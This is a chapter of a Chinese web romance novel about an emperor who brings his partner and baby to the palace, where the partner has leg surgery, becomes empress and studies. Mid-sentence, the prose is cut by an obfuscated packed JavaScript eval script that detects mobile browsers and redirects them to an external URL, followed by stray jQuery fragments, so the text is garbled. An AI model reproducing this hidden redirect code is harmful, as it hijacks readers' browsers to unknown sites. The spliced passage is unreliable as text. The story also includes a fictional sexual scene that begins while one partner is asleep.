15.十五

作品:《我拿暴君当替身

    36


    繁芜的心绪被眼泪冲干净。


    丁小粥哭累了,挨在阿焕的胸口假寐,视线模糊,但他看到明黄龙袍的前襟被他沾上一片湿迹。


    我真是大逆不道。


    他心想。


    阿焕抚着他后背,问:“怕够了没有?”


    丁小粥摇头,像不经意地在他心口软软地蹭了蹭。


    阿焕:“赶了那么久的路到京城,太累了罢,我领你去歇息一会儿。也看看今后我们的住处。”又说,“或者,你想住哪儿就住哪儿。宫里你可以四处去逛。喜欢哪里都成。不过最好还是同我住得近的好。”


    丁小粥已重新振作起来,被阿焕揽着肩膀走了。


    阿焕本来要抱他,他不肯,还是得自己走路。


    他慢慢地走,手臂也因抱毛毛而累——毛毛被养得胖,颇有点沉甸甸——酸的很,假装没事。


    阿焕从他怀里掏毛毛:“我来抱吧。”


    丁小粥想了想,小心翼翼地把毛毛递给他了。


    阿焕身子高大,手臂健壮,单手就可以轻松抱起孩子,还能空出另只手来和他拉手。


    丁小粥红着脸说:“慢慢走。”


    以前他也瘸,但习惯了,也不怕被人看,如今一下子又羞愧起来。


    心里也不由地在想:旁人会怎么看他呢?一个残疾、贫穷的小哥儿,如何能与天子般配?那些大臣是不是会反对他们?


    丁小粥被带到隔壁的寝殿,这儿的床不如他想的大而豪华。


    阿焕笑说:“皇帝也是人,躺下来也只占方寸之地而已。并不是床越宽敞,觉就能睡得越香,舒适最好。”


    惊惧交加过后,浓重的倦意上涌,他忽地感觉眼皮都快睁不开,躺下要睡去。


    阿焕不做声地招手让人把孩子先抱开了,自己则亲手为丁小粥宽衣,随后取下金钩所束的绸帐,挡住光。


    他低头就看见丁小粥半蜷地躺在那。


    怪可怜的,叫他想把人揉展开来贴入怀中。


    先前他好不容易把人养得脸上有点点圆,生过一场孩子后又仿佛瘦没了。


    同他第一次见时一样。


    身子小小的,像蒲草般轻细而软韧,如今又添了点香气,是哺育孩子的奶味。这样年轻幼小的小哥儿竟然已经为他生过一只宝宝了。


    丁小粥梦见自己抱着一只毛茸茸的大猫儿在晒太阳,浑身晒得暖烘烘、热融融。


    大猫儿和他玩闹,在他的脖子上乱舔。又蹭他的胸膛,弄得他痒丝丝的。便扭身要躲,不知忒地,被压得牢牢的。他才发现,这不是只猫儿,是只老虎。


    丁小粥有点儿糟糕地醒来,发现自己早被阿焕剥得光溜溜。


    他心慌又冒火:“你怎么这样?我在睡呢。”


    昏暗的帐中,他打眼看去,阿焕也赤了上身,肌肉健实,像只蓄势待发的兽,但不大凶狠,撒娇地贴上来,似乎在向他表明自己不凶恶。


    “对不起啊,宝贝。”阿焕一边道歉,一边却不停手。


    而一只手已抓着他的腿。


    细细的脚踝上挂着被褪下来的亵裤。


    那……都、都这样了。


    成了亲,连宝宝都生了,他应该已经是个熟练的大人了。


    要努力不害羞才是。


    说不上是不是拒绝,他低低地说:“还在白天。”


    阿焕目光灼然:“等不及了,你太可爱了。”


    丁小粥哗得面红耳赤,浑身发软,随他怎么弄。


    37


    丁小粥治腿这事,颇耗费一番周折。


    前后延请来数位名医,给出的医治方法大差不差。


    都说,他的脚是先前受伤的时候没治得对,骨头接歪了,要把驳错处敲断,掰正,再重新接上。


    丁小粥:“可以!”


    阿焕:“不行。”


    丁小粥可太想把腿治好了,他着急地说:“没关系,我不怕疼。”


    阿焕脸色阴沉,问太医:“没别的法子吗?要不见血的。”


    皇上您真是会为难人啊。


    再说了,您杀名远扬,突然记起年少礼佛的经历了?


    最后,没找到温柔的办法,还是采用血腥方案。


    太医下手得快,丁小粥拼命忍住痛,紧闭的眼睑渗出微微的眼泪,提一口气,便撑过去了。


    没想到这看似柔弱的小哥儿这么有骨气!


    太医放松下来,缓缓吐气,一扭头却看到陪同在旁的皇上满面泪水,登时被吓了一跳。


    临走时,还依稀听见这对小夫妻在说话,皇上说:“都是为了我……”


    太医心想,莫非真和传闻中说的那样,这小哥儿的腿伤是为救皇上?


    其实说什么的都有。有说是为父母,那是孝;有说是为朋友,那是义;也有说是为了皇上,所以皇上爱他。


    总之,这是皇上抬举的爱人,说定了要册封皇后,一切不容置疑,因此,丁小粥身上的一切都被人投以美好猜想。


    在把人接来前的半年里,皇上已跟几位内阁重臣通过气。


    应当是有人反对过的,也不知皇上是用了何等手段,等到丁小粥来京城时,朝中早就一致同意。


    宫人们隐约也早感觉,皇上好像是要接什么人到身边住,自回宫以后一直在慢慢布置,许多细节都要亲自过问。


    在春天,雄鸟会筑好巢穴再请伴侣入住。


    这是世间万物的道理。


    原来,连皇帝也不例外。


    然后有一天,皇上接回来这个瘦瘦的小哥儿,淡眉毛,细头发,脸蛋稚幼朴实、白里透红,眼睛亮晶晶,手有点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304353|165940||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    粗糙,看上去不像是娇生惯养出身,刚住进来时十分之拘谨。


    在先帝的后宫里,这样一步登天的普通人家的小美人也不是没有,命薄身弱,受不住福气,总很快就香消玉殒了。


    所以,他们都悄悄在看。


    看这丁小粥会怎么样?


    但很快,丁小粥便适应了。


    有时,他觉得自己的命运被风吹着跑,风吹到哪,他就飘到哪,这次呼啦一下刮进皇宫里。不过不怕,他也会扎根下来。


    他被册为皇后,毛毛也有了大名,叫宇文琅。


    人生骤变。


    有许多新的本事要学。


    一大一小两只每天一起去御书房上课。


    除了方蕴和还在,又添了几位先生,全是赫赫有名的大学士。


    失学儿童丁小粥既惶恐,也高兴,恭顺庄敬地学习。


    起初还怕被嫌弃,但是先生们都待他很和气,他知道是托赖阿焕,并不拿骄。


    先生们不是没教过不学无术的纨绔,因此,觉得丁小粥谦虚好问,认真听讲,且一学就会,师生之间还算合宜。


    老师布置多少作业,他就写多少,从来不偷懒。


    从御书房回到帝宫,每晚挑灯,丁小粥坐在阿焕边上读书。


    阿焕批奏章,丁小粥写功课。


    不远处看门的宫人们总会听见两位主儿写着写着,不知怎么回事,脸贴脸地嘻嘻笑,有时还亲嘴,让人不好意思地脸热,不敢看。


    宇文焕现下最大的苦恼就是丁小粥功课多。


    这日。


    他得空去看老婆孩子上学怎样,一去就遇见方蕴和又在给丁小粥说哪些书必须看,哪些礼数要背会,等等,一大堆。


    阿焕气从中来,推门便讥笑道:“你再多要求一些,最好让他晚上不睡也写功课,朕如今每天得帮他写!”


    丁小粥不高兴了:“我只是问问你,我哪有让你帮我写?”扭头说,“方叔叔,你别听他的,我都自己写的!”


    两人嘁嘁喳喳地吵起来。


    方蕴和头有点痛。


    他低下头,看到小太子不声不响,正在往《论语》上画小鸭子,已画了半页。


    啊,头更疼了。


    小太子年幼,还看不太出来聪不聪明,只是顽皮。


    皇后呢,没读过什么书,虽不至于是文盲,但每次出席外界,他们都要狠狠捏一把汗。


    皇上最不像话,沉迷老婆,不思政事!


    然而他暴名犹在,众臣并不敢多舌。


    方大人迷茫。


    这开国百余年的大乾王朝未来还能好吗?


    .


    “至成宗即位,整饬纲纪,励精图治。从此海内平定,政教修明,谓之‘天顺中兴’。”


    ——《乾史·成宗本纪》